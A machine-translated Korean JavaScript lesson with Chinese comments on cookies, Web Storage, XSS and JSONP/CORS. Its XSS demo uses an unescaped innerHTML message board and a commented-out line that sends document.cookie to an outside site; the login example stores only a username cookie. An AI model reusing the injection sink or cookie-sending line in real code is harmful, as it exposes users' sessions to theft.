1. 쿠키는 데이터를 저장하고 데이터를 가져옵니다.

  //  <input type="button" value="保存cookie" onclick="saveData()">
  //  <input type="button" value="获取cookie" onclick="getData()">
  //  保存数据的格式：
  //  document.cookie="键=值;expires=日期的GMT格式的字符串"
      function saveData() {
        // 在cookie里保存数据
        // 1、如果不写失效时间，那么，数据是临时保存。当浏览器关闭就会消失。
        // document.cookie = "username=宋和叶";
        // 2、如果写上失效时间点，那么，数据将会在该时间点后，被删除。
        // document.cookie = "username=宋和叶;expires=日期的GMT字符串格式";
        let d = new Date();
        d.setDate(d.getDate() + 7);
        document.cookie = "username=宋和叶;expires=" + d.toGMTString();
    }
    function getData() {
        console.log(document.cookie); //所有的键值对（用分号隔开的）
    }

2. 쿠키에서 지정된 키의 값을 가져옵니다.

    // 封装：从cookie获取指定键的值；（根据键获取值）；
    // 参数：
    // 键
    // 返回值：
    // 键对应的值；
    function getCookie(key) {
        let str = document.cookie;// a=20; username=宋和叶; userid=001
        // 1、分割成数组
        let arr = str.split("; ");//["a=20","username=宋和叶","userid=001"]
        // 2、遍历数组(查找以username=开头的元素)
        str = arr.filter(item => item.startsWith(key + "="))[0];    //"username=宋和叶"
        return str == undefined ? undefined : str.split("=")[1];
    }

3. 쿠키 삭제

//<input type="button" value="删除cookie中username" onclick="removeCookie()">
    function removeCookie() {
        let d = new Date();
        d.setDate(d.getDate() - 1);
        document.cookie = "username=byebye;expires=" + d.toGMTString();
    }

四.encodeURIComponent

중국어 문제(이전 브라우저)가 있는 경우 encodeURIComponent를 사용하여 인코딩(URI 인코딩), decodeURIComponent를 사용하여 디코딩

  //<input type="button" value="编码" onclick="saveData()">
  //<input type="button" value="解码" onclick="getData()">
    let str = "懒洋洋";
    function saveData() {
        str = encodeURIComponent(str);
        console.log(str);
    }
    function getData() {
        str = decodeURIComponent(str);
        console.log(str);
    }

5. 쿠키 도구 패키지

쿠키의 기능:

1. 라이프 사이클:

쿠키가 만료일을 설정하지 않으면 세션 수준에서 임시로 저장(메모리에 저장)되며 세션이 종료되면 쿠키는 무효화되고 만료일이 설정되면 쿠키는 하드 디스크에 저장됩니다. 만료일이 지나면 쿠키는 자동으로 사라집니다.

2. 네트워크 트래픽: 쿠키 데이터가 매번 서버로 전송되어 네트워크 트래픽을 점유합니다.

3. 보안 : 쿠키는 HTTP 헤더와 함께 서버로 전송되기 때문에 보안에 문제가 있고 가로채기 쉽습니다.

4. 크기 제한: 쿠키 크기는 매우 작은 4KB로 제한됩니다.

5. 쿠키는 문자열만 저장할 수 있습니다.

//  保存cookie（新建和修改）
//  参数：
//  键:key
//  值:value
//  时长（保质期）：daycount
//  path
//  domain
function saveCookie(key, value, daycount, path, domain) {
    let d = new Date();
    d.setDate(d.getDate() + daycount);
    let str = `${key}=${encodeURIComponent(value)};expires=${d.toGMTString()}`;
    path && (str += `;path=${path}`);
    domain && (str += `;domain=${domain}`);
    document.cookie = str;
}
// 获取cookie（根据键获取值）
// 参数：键
// 返回值：键对应的值
function getCookie(key) {
    let str = decodeURIComponent(document.cookie);
    // 1、分割成数组
    let arr = str.split("; ");
    // 2、遍历数组
    arr = arr.filter(item => item.startsWith(key + "="));
    return arr.length == 0 ? undefined : arr[0].split("=")[1];
}
// 删除cookie
// 参数：键
function removeCookie(key) {
    saveCookie(key, "byebye", -1);
}

6일 또는 7일 무료 로그인

    // <p>用户名：
    //    <input id="username" type="text" />
    // </p>
    // <p>密码：
    //     <input id="pass" type="password" />
    // </p>
    // <p>
    //     <input type="button" value="登录" onclick="loginCheck()">
    // </p>
    <script src="./js/cookieTools.js"></script>
    function loginCheck() {
        let username = document.getElementById("username").value;
        let pass = document.getElementById("pass").value;
        // 发送请求
        // 响应回来后（如果登录成功）
        // 1、保存cookie
        saveCookie("username", username, 7);
        // 2、跳转到首页
        location.href = "index.html";
    }

7. XSS 공격

원칙:

텍스트와 마크업은 일부 문자를 특별하게 취급하여 구별됩니다. 예를 들어 미만 기호(<)는 HTML 태그를 시작하는 것으로 간주되고 <title>과 </title> 사이의 문자는 페이지의 제목입니다. . 동적 페이지에 삽입된 콘텐츠에 이러한 특수 문자(예: <)가 포함된 경우 사용자의 브라우저는 이를 삽입된 HTML 태그로 착각합니다. 이러한 HTML 태그가 JS 스크립트를 도입하면 이러한 스크립트 프로그램이 사용자의 실행 페이지에 표시됩니다. 브라우저. 따라서 이러한 특수 문자를 동적 페이지에서 확인할 수 없거나 확인에 실패하면 XSS 취약점이 발생합니다.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        #box {
            width: 300px;
            height: 400px;
            border: 1px solid black;
        }
    </style>
</head>
<body>
    <div id="box">
    </div>
    <input id="txt" type="text" style="width: 800px"><br />
    <input type="button" value="留言" onclick="send()">
    <!-- <input type="button" value="按钮" onclick="location.href='http://www.itzhihu.cn?c='+document.cookie" /> -->
</body>

</html>
<script>
    function send() {
        $("box").innerHTML += $("txt").value + "<br/>"
        // 如何防止
        // let str = $("txt").value;
        // str = str.replace(/</g, "&lt;");
        // str = str.replace(/>/g, "&gt;");
        // // console.log("str", str);
        // $("box").innerHTML += str;
    }
    function $(id) {
        return document.getElementById(id);
    }
</script>

八.localStorage

1) 저장 데이터: localStorage.setItem(key, value);

2) 데이터 가져오기: localStorage.getItem(key);

3) 데이터 삭제: localStorage.removeItem(key);

4) 모든 데이터 삭제: localStorage.clear();

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=\, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <input type="button" value="本地保存数据（localStorage）" onclick="saveData()">
    <input type="button" value="本地获取数据（localStorage）" onclick="getData()">
    <input type="button" value="删除数据（localStorage）" onclick="removeData()">
</body>
</html>
<script>
    function saveData() {
        localStorage.setItem("username", "懒洋洋");
    }
    function getData() {
        console.log(localStorage.getItem("username"));
    }
    function removeData() {
        localStorage.removeItem("username")
    }
</script>

九.sessionStorage

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=\, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <input type="button" value="本地保存数据（sessionStorage）" onclick="saveData()">
    <input type="button" value="本地获取数据（sessionStorage）" onclick="getData()">
    <input type="button" value="删除数据（sessionStorage）" onclick="removeData()">
</body>
</html>
<script>
    function saveData() {
        sessionStorage.setItem("username", "宋和叶");
    }
    function getData() {
        console.log(sessionStorage.getItem("username"));
    }
    function removeData() {
        sessionStorage.removeItem("username")
    }
</script>

10. 쿠키, localStorage 및 sessionStorage의 차이점:

쿠키는 HTML4에서 클라이언트용 데이터를 저장하는 데 사용되며 세션과 함께 사용하여 브라우저 사용자 ID를 추적할 수도 있습니다. 측면 통신. WebStorage에는 두 가지 주요 목표가 있습니다. (1) 쿠키 외부에 세션 데이터를 저장하는 방법을 제공합니다. (2) 세션 간에 존재할 수 있는 대량의 데이터를 저장하기 위한 메커니즘을 제공합니다.

같은 점:

쿠키, localStorage 및 sessionStorage는 모두 클라이언트 측에 데이터를 저장하며 저장된 데이터의 유형은 모두 문자열입니다.

차이점:

1. 라이프 사이클:

1) 쿠키는 유효기간을 설정하지 않은 경우 세션 차원에서 일시적으로 저장(메모리에 저장)되며, 세션 종료 후 쿠키는 무효가 됩니다. 쿠키는 하드디스크에 저장되며 유효기간이 지나면 자동으로 사라집니다.

2) localStorage의 수명 주기는 영구적이며 localStorage의 데이터는 페이지나 브라우저를 닫은 후에도 사라지지 않습니다. LocalStorage 데이터는 적극적으로 삭제하지 않는 한 절대 사라지지 않습니다.

3) sessionStorage는 현재 세션에서만 유효합니다. sessionStorage는 "브라우저 창"이라는 개념을 도입했습니다. sessionStorage는 항상 동일한 출처의 창에 존재하는 데이터입니다. 브라우저 창을 닫지 않는 한 페이지를 새로 고치거나 동일한 출처의 다른 페이지에 들어가도 데이터는 계속 존재합니다. 그러나 sessionStorage는 브라우저 창을 닫은 후에 파괴됩니다. 동시에 동일한 창과 동일한 페이지가 독립적으로 열리고 sessionStorage도 다릅니다.

간단히 다음과 같이 이해할 수 있습니다: sessionStorage, 만료 날짜가 설정된 쿠키 없음.

쿠키의 유효 기간이 영원히, 영원히 설정되어 있으면 localStorage입니다. 쿠키에는 만료 날짜가 없으므로 sessionStorage입니다.

2. 네트워크 트래픽: 쿠키 데이터는 매번 서버로 전송되는 반면 localstorage 및 sessionStorage는 서버와 통신하지 않고 순전히 데이터 저장을 위한 것이므로 webstorage는 더 많은 네트워크 트래픽을 절약합니다.

3. 크기 제한: 쿠키 크기는 4KB로 매우 작으며 localstorage 및 sessionStorage는 5M으로 제한됩니다.

4. 보안: WebStorage는 HTTP 헤더와 함께 서버로 전송되지 않으므로 쿠키보다 보안이 높으며 가로챌 염려가 없습니다.

5. 사용 용이성: WebStorage는 몇 가지 방법을 제공하며 데이터 조작은 쿠키보다 더 편리합니다.

setItem (key, value) —— 데이터를 저장하고 키-값 쌍의 형태로 정보를 저장합니다.

getItem (key) —— 데이터를 가져오고 키 값을 전달하면 해당 값을 얻을 수 있습니다.

removeItem (key) —— 단일 항목을 삭제하고 키 값에 따라 해당 정보를 제거합니다.

clear() - 모든 데이터 삭제

키(색인) - 색인의 키를 가져옵니다.

11. jsonp의 교차 도메인 특성

①jsonp 크로스 도메인의 진수

html 태그의 src 속성 사용(브라우저는 src 속성에 도메인 간 제한을 두지 않음)

② 여러 가지 도메인 간 액세스 방법

jsonp, cors, 프록시

③JSONP 원리

JSONP는 도메인 간 액세스를 어떻게 달성합니까? 본질적으로 HTML 요소의 src 속성을 교차 도메인으로 사용하여 해결합니다. 예: img, script, iframe 및 기타 태그의 src 속성 값을 다른 도메인 이름의 법적 주소에 할당할 수 있습니다.

④ 사례 : Baidu의 검색창

⑤코어

다음은 백엔드 교차 원본 리소스 공유를 위한 솔루션입니다.

//在服务器端的页面上增加以下代码完成。
response.setHeader(“Access-Control-Allow-Origin”, “*”); //jsp(java server page)的写法
header(“Access-Control-Allow-Origin：*”);  //php的写法
//第二个参数*:表示所有的跨域请求都可以；也可以是某个域名或者用逗号隔开的域名列表。

12. 인터뷰 질문

①jsonp는 ajax에서 크로스 도메인 접근을 위한 기술인가요?

jsonp는 AJAX에서 교차 도메인 액세스를 위한 기술이 아닙니다. 1. jsonp는 XMLHttpRequest 개체를 사용하지 않습니다. 2. jsonp는 도메인 간 기술일 뿐입니다. 3. jsonp는 Get 메서드만 지원합니다.

이러한 jsonp 방식의 도메인 간 액세스로 인해 javascript를 사용하여 서버 측과 상호 작용할 수 있으며 AJAX의 XMLHttpRequest 개체와 동일한 효과를 얻을 수 있습니다. 따라서 사람들은 항상 jsonp를 AJAX와 연관 짓습니다.이 인터뷰 질문도 네이티브 JS를 이해하지 못하고 jQuery를 직접 사용하는지 확인하는 것입니다.

②jsonp와 json의 차이점은 무엇입니까?

1. jsonp와 json은 서로 관련이 없으며 동일한 유형의 기술이 아닙니다. 2. jsonp는 도메인 간 액세스를 위한 기술입니다. 3. json은 데이터를 설명하는 형식이며 주로 다음과 같은 네트워크: 이전 및 이후 클라이언트와 상호 작용할 때 json이 사용됩니다.

JS--Day31(쿠키, webStorage, 교차 도메인 액세스, jsonp)